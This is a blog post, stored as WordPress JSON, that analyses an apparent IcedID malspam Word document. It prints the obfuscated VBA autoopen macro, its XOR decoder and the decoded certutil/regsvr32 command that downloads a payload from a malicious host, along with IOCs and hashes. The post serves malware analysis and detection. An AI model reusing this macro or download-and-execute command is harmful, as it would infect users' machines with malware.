{"id":1398,"date":"2020-08-02T03:34:49","date_gmt":"2020-08-02T02:34:49","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1398"},"modified":"2020-08-02T03:57:17","modified_gmt":"2020-08-02T02:57:17","slug":"2020-07-31-deobfuscating-icedid-macro-script","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1398","title":{"rendered":"2020-07-31 Deobfuscating IcedID Macro Script"},"content":{"rendered":"<p>Summary<br \/>\n=========<br \/>\nThis is just a quick writeup of how I managed to get the macro script decoded out of what appears to be an IcedID malspam campaign based on what I am seeing from URLHaus and this <a href=\"http:\/\/twitter.com\/p5yb34m\/status\/1289305504636780545\" rel=\"noopener noreferrer\" target=\"_blank\">tweet<\/a> from <a href=\"http:\/\/twitter.com\/p5yb34m\" rel=\"noopener noreferrer\" target=\"_blank\">@p5yb34m<\/a>.<\/p>\n<p>The link to the artifacts for this can be found at my Github <a href=\"http:\/\/github.com\/bloomer1016\/2020-07-31-icedid-artifacts\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>.<\/p>\n<p>Analysis<br \/>\n=========<br \/>\nI am a huge fan of <a href=\"\/\/www.decalage.info\" rel=\"noopener noreferrer\" target=\"_blank\">Philippe Lagadec&#8217;s<\/a> <a href=\"http:\/\/github.com\/decalage2\/oletools\" rel=\"noopener noreferrer\" target=\"_blank\">OleTools suite<\/a> for maldoc analysis (thanks for the awesome tools). So if I am not using <a href=\"http:\/\/www.reconstructer.org\/code.html\" rel=\"noopener noreferrer\" target=\"_blank\">OfficeMalScanner<\/a> on my Windows VM, then I am using olevba or one of the other tools in the OleTools suite. For this maldoc though, I started off using &#8220;olevba&#8221; right out the gate since I was more interested in seeing if I could deobfuscate the script more so than running it. The following is what I got when using the &#8220;&#8211;decode&#8221; and &#8220;&#8211;deobf&#8221; switches:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n$ olevba --decode --deobf 07.20.doc \r\nolevba 0.55.1 on Python 3.7.4 - http:\/\/decalage.info\/python\/oletools\r\n===============================================================================\r\nFILE: 07.20.doc\r\nType: OpenXML\r\nError: &#x5B;Errno 2] No such file or directory: 'word\/vbaProject.bin'.\r\n-------------------------------------------------------------------------------\r\nVBA MACRO ThisDocument.cls \r\nin file: word\/vbaProject.bin - OLE stream: 'VBA\/ThisDocument'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \r\n(empty macro)\r\n-------------------------------------------------------------------------------\r\nVBA MACRO e.bas \r\nin file: word\/vbaProject.bin - OLE stream: 'VBA\/e'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \r\nFunction fd()\r\nfd = &quot;c:\\programdata\\1.exe&quot;\r\nEnd Function\r\nSub autoopen()\r\nKj = g(&quot;24!22!31!91!84!24!91!89!8!30!15!91!14!70!14!9!23!93!93!24!26!23!23!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!30!3!30!91!84!94!14!94!37!24!37!26!37!24!37!19!37!30!37!91!84!29!37!91!19!15!15!11!65!84!84!73!13!13!30!1!1!67!85!24!20!22!84!25!20!23!25!84!17!26!30!21!15!85!11!19!11!68!23!70!21!14!31!24!77!85!24!26!25!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!91!93!93!91!24!26!23!23!91!9!30!28!8!13!9!72!73!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!89&quot;)\r\nCall VBA.FileCopy(ActiveDocument.Shapes(1).Title, &quot;c:\\programdata\\1.exe&quot;)\r\n\r\nDim TN As New WshShell\r\nCall TN.run(Kj, 0)\r\n\r\nEnd Sub\r\n-------------------------------------------------------------------------------\r\nVBA MACRO jX.bas \r\nin file: word\/vbaProject.bin - OLE stream: 'VBA\/jX'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \r\nFunction g(CU)\r\nVR = Split(CU, &quot;!&quot;)\r\nFor w3 = 0 To UBound(VR)\r\n TM = TM &amp; Chr(VR(w3) Xor 123)\r\nNext w3\r\ng = TM\r\nEnd Function\r\n+----------+--------------------+---------------------------------------------+\r\n|Type      |Keyword             |Description                                  |\r\n+----------+--------------------+---------------------------------------------+\r\n|AutoExec  |autoopen            |Runs when the Word document is opened        |\r\n|Suspicious|FileCopy            |May copy a file                              |\r\n|Suspicious|run                 |May run an executable file or a system       |\r\n|          |                    |command                                      |\r\n|Suspicious|Call                |May call a DLL using Excel 4 Macros (XLM\/XLF)|\r\n|Suspicious|Chr                 |May attempt to obfuscate specific strings    |\r\n|          |                    |(use option --deobf to deobfuscate)          |\r\n|Suspicious|Xor                 |May attempt to obfuscate specific strings    |\r\n|          |                    |(use option --deobf to deobfuscate)          |\r\n|IOC       |1.exe               |Executable file name                         |\r\n+----------+--------------------+---------------------------------------------+\r\n<\/pre>\n<p>Wow! Right out the gate the script is giving me the goods. So then it was all about understanding what the script did since. Since macros always start with the sub-routine of &#8220;autoopen()&#8221; I knew that is where I needed to start.<\/p>\n<p>Starting here I could see that the variable &#8220;Kj&#8221; was being assigned to whatever the outcome from the function &#8216;g&#8217; and the long string with exclamation marks. It looks like this function is the one that is doing all the work. Let&#8217;s walk through this.<\/p>\n<p>&#8211; The function &#8220;g&#8221; is being passed the long string with exclamations marks.<br \/>\n&#8211; The variable &#8220;VR&#8221; is using the split function to basically remove all the exclamation marks out of the long string (passed via the &#8220;CU&#8221; argument) that is assigned to the variable &#8220;Kj.&#8221;<br \/>\n&#8211; Then there is a loop that starts at 0 (w3) and then uses <a href=\"http:\/\/docs.microsoft.com\/en-us\/office\/vba\/Language\/Reference\/user-interface-help\/ubound-function\" rel=\"noopener noreferrer\" target=\"_blank\">Ubound<\/a> to find out how long the string (CU) is (if I recall this was 169) to act as the counter.<br \/>\n &#8212; It then walks through each value of the array declaring the values as a char value with a XOR key of &#8220;123.&#8221; This value then gets assigned to the variable called &#8220;TM.&#8221;<br \/>\n &#8212; It will continue to do this until the loop has finished. Once it finishes the loop, the variable TM will be the following:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\ncmd \/c &quot;set u=url&amp;&amp;call C:\\ProgramData\\1.exe \/%u%^c^a^c^h^e^ \/f^ http:\/\/2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab C:\\ProgramData\\1.tmp &amp;&amp; call regsvr32 C:\\ProgramData\\1.tmp&quot;\r\n<\/pre>\n<p>&#8211; The variable &#8220;TM&#8221; then gets assigned to the variable &#8220;g&#8221; and the function is then done and control is passed back to the original function.<\/p>\n<p>As a side note. The part that took me a long time to get right was the CyberChef recipe for deobfuscating this. I am not sure what I was doing wrong but after some time it just kind of worked. You can find that recipe <a href=\"http:\/\/gchq.github.io\/CyberChef\/#recipe=From_Charcode('Space',10)XOR(%7B'option':'Decimal','string':'123'%7D,'Standard',false)&amp;input=MjQgMjIgMzEgOTEgODQgMjQgOTEgODkgOCAzMCAxNSA5MSAxNCA3MCAxNCA5IDIzIDkzIDkzIDI0IDI2IDIzIDIzIDkxIDU2IDY1IDM5IDQzIDkgMjAgMjggOSAyNiAyMiA2MyAyNiAxNSAyNiAzOSA3NCA4NSAzMCAzIDMwIDkxIDg0IDk0IDE0IDk0IDM3IDI0IDM3IDI2IDM3IDI0IDM3IDE5IDM3IDMwIDM3IDkxIDg0IDI5IDM3IDkxIDE5IDE1IDE1IDExIDY1IDg0IDg0IDczIDEzIDEzIDMwIDEgMSA2NyA4NSAyNCAyMCAyMiA4NCAyNSAyMCAyMyAyNSA4NCAxNyAyNiAzMCAyMSAxNSA4NSAxMSAxOSAxMSA2OCAyMyA3MCAyMSAxNCAzMSAyNCA3NyA4NSAyNCAyNiAyNSA5MSA1NiA2NSAzOSA0MyA5IDIwIDI4IDkgMjYgMjIgNjMgMjYgMTUgMjYgMzkgNzQgODUgMTUgMjIgMTEgOTEgOTMgOTMgOTEgMjQgMjYgMjMgMjMgOTEgOSAzMCAyOCA4IDEzIDkgNzIgNzMgOTEgNTYgNjUgMzkgNDMgOSAyMCAyOCA5IDI2IDIyIDYzIDI2IDE1IDI2IDM5IDc0IDg1IDE1IDIyIDExIDg5\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>.<\/p>\n<p>Continuing on with the rest of this script&#8230;<\/p>\n<p>&#8211; The call function then calls the <a href=\"http:\/\/docs.microsoft.com\/en-us\/office\/vba\/Language\/Reference\/user-interface-help\/filecopy-statement\" rel=\"noopener noreferrer\" target=\"_blank\">filecopy function<\/a> to take a file from a certain location (source) and copy it to the destination &#8211; in this case &#8220;c:\\programdata\\&#8221; as &#8220;1.exe.&#8221;<br \/>\n &#8212; The source of the file copy (ActiveDocument.Shapes(1).Title) looks to actually be defined via the alt-text located in the embedded image&#8217;s property menu found on the maldoc as seen below. This is actually pointing to the &#8220;c:\\windows\\system32\\certutil.exe&#8221; file. For more information about the shape object, please look <a href=\"http:\/\/docs.microsoft.com\/en-us\/previous-versions\/office\/developer\/office-2003\/aa223088(v=office.11)\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>. Granted I did find this by clicking around looking at the different property options for the image until I came across the alt-text property.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/08\/doc.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2020\/08\/doc.png\" alt=\"\" width=\"1258\" height=\"1242\" class=\"aligncenter size-full wp-image-1399\" \/><\/a><\/p>\n<p>Now looking at what the command line is doing. <\/p>\n<p>&#8211; A command shell proceeds to set the variable &#8220;u&#8221; to &#8220;url.&#8221;<br \/>\n&#8211; A call to the binary of 1.exe (really certutil.exe) using the switch of &#8220;\/urlcache \/f&#8221; which causes certutil to look at a cached URL and then proceed to force a fetch to the defined URL &#8211; in this case hxxp:\/\/2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab.<br \/>\n &#8212; For more information about the different options with certutil, check out this <a href=\"http:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/certutil\" rel=\"noopener noreferrer\" target=\"_blank\">link<\/a>.<br \/>\n&#8211; Download the cab file and save it as &#8220;1.tmp&#8221; and then register it as a DLL via regsvr32.<\/p>\n<p>Since the site was already down, I was not able to see what the rest of the infection chain looked like. Unfortunately the other sites that I found that had a match for the domain or hash of the Word doc didn&#8217;t have anything that I could see for the &#8220;1.tmp&#8221; file either so I am assuming that it was taken down by the time others saw it. <\/p>\n<p>Artifacts<br \/>\n============<\/p>\n<p>IOCs<br \/>\n&#8212;&#8212;&#8211;<br \/>\nhxxp:\/\/2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab<\/p>\n<p>OSINT<br \/>\n&#8212;&#8212;&#8211;<br \/>\n<a href=\"http:\/\/urlhaus.abuse.ch\/browse.php?search=2vvezz8.com\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/urlhaus.abuse.ch\/browse.php?search=2vvezz8.com<\/a><br \/>\n<a href=\"http:\/\/www.hybrid-analysis.com\/search?query=2vvezz8.com\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/www.hybrid-analysis.com\/search?query=2vvezz8.com<\/a><\/p>\n<p>File hashes<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nbe40cf9fbf9bdde9a2898870a10e2f3028e44918abd9251300b984daaf2fdc2f &#8212; particulars 07.20.doc<br \/>\n1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3 &#8212; C:\\ProgramData\\1.exe<\/p>\n<p>Machinea<br \/>\n&#8212;&#8212;&#8212;-<br \/>\n********************************************************************************<br \/>\n* Information for be40cf9fbf9bdde9a2898870a10e2f3028e44918abd9251300b984daaf2fdc2f<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[+] VirusTotal File Report Results<br \/>\n    [-] Date submitted: 2020-07-31 15:26:49<br \/>\n    [-] Detected engines: 8<br \/>\n    [-] Total engines: 62<br \/>\n    [-] Scans: (&#8216;Elastic&#8217;, &#8216;malicious (high confidence)&#8217;)<br \/>\n    [-] Scans: (&#8216;NANO-Antivirus&#8217;, &#8216;Trojan.Ole2[.]Vbs-heuristic[.]druvzi&#8217;)<br \/>\n    [-] Scans: (&#8216;SentinelOne&#8217;, &#8216;DFI &#8211; Malicious OPENXML&#8217;)<br \/>\n    [-] Scans: (&#8216;Jiangmin&#8217;, &#8216;Trojan[.]BAT[.]Small.a&#8217;)<br \/>\n    [-] Scans: (&#8216;TACHYON&#8217;, &#8216;Suspicious\/WOX[.]Obfus[.]Gen.2&#8217;)<br \/>\n    [-] Scans: (&#8216;Zoner&#8217;, &#8216;Probably Heur.W97DownloaderA&#8217;)<br \/>\n    [-] Scans: (&#8216;Ikarus&#8217;, &#8216;Trojan-Downloader[.]VBA[.]Agent&#8217;)<br \/>\n    [-] Scans: (&#8216;Fortinet&#8217;, &#8216;VBA\/Agent[.]SNH!tr[.]dldr&#8217;)<\/p>\n<p>********************************************************************************<br \/>\n* Information for 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[+] VirusTotal File Report Results<br \/>\n    [-] Date submitted: 2020-07-09 05:12:30<br \/>\n    [-] Detected engines: 0<br \/>\n    [-] Total engines: 73<\/p>\n<p>********************************************************************************<br \/>\n* Information for 2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab<br \/>\n* Observable type: fqdn (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[-] No URLVoid Results<br \/>\n[-] No URL Unshorten Results<br \/>\n[-] No Malc0de Results<br \/>\n[+] Fortinet Category Results<br \/>\n    [-] Fortinet URL Category: Malicious Websites<br \/>\n[-] No VirusTotal pDNS Results<br \/>\n[-] No Reputation Authority Results<br \/>\n[+] McAfee Threat Results<br \/>\n    [-] McAfee Web Risk: Minimal<br \/>\n    [-] McAfee Last Seen: 2020-08-02<\/p>\n<p>********************************************************************************<br \/>\n* Information for 2vvezz8.com<br \/>\n* Observable type: fqdn (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[-] No URLVoid Results<br \/>\n[-] No URL Unshorten Results<br \/>\n[-] No Malc0de Results<br \/>\n[+] Fortinet Category Results<br \/>\n    [-] Fortinet URL Category: Malicious Websites<br \/>\n[+] VirusTotal pDNS Results<br \/>\n    [-] pDNS data from VirusTotal: (&#8216;2020-07-31&#8217;, &#8216;185[.]144.29.28&#8217;)<br \/>\n[-] No Reputation Authority Results<br \/>\n[+] McAfee Threat Results<br \/>\n    [-] McAfee Web Risk: Minimal<br \/>\n    [-] McAfee Last Seen: 2020-08-02<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Summary ========= This is just a quick writeup of how I managed to get the macro script decoded out of what appears to be an IcedID malspam campaign based on what I am seeing from URLHaus and this tweet from @p5yb34m. The link to the artifacts for this can be found at my Github here. Analysis ========= I am a huge fan of Philippe Lagadec&#8217;s OleTools suite for maldoc analysis (thanks for the awesome tools). So if I am not using OfficeMalScanner on my Windows VM, then I am using olevba or one of the other tools in the OleTools&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=1398\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[42,43],"class_list":["post-1398","post","type-post","status-publish","format-standard","hentry","category-code","tag-deobfusc","tag-icedid"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1398"}],"version-history":[{"count":9,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1398\/revisions"}],"predecessor-version":[{"id":1408,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1398\/revisions\/1408"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}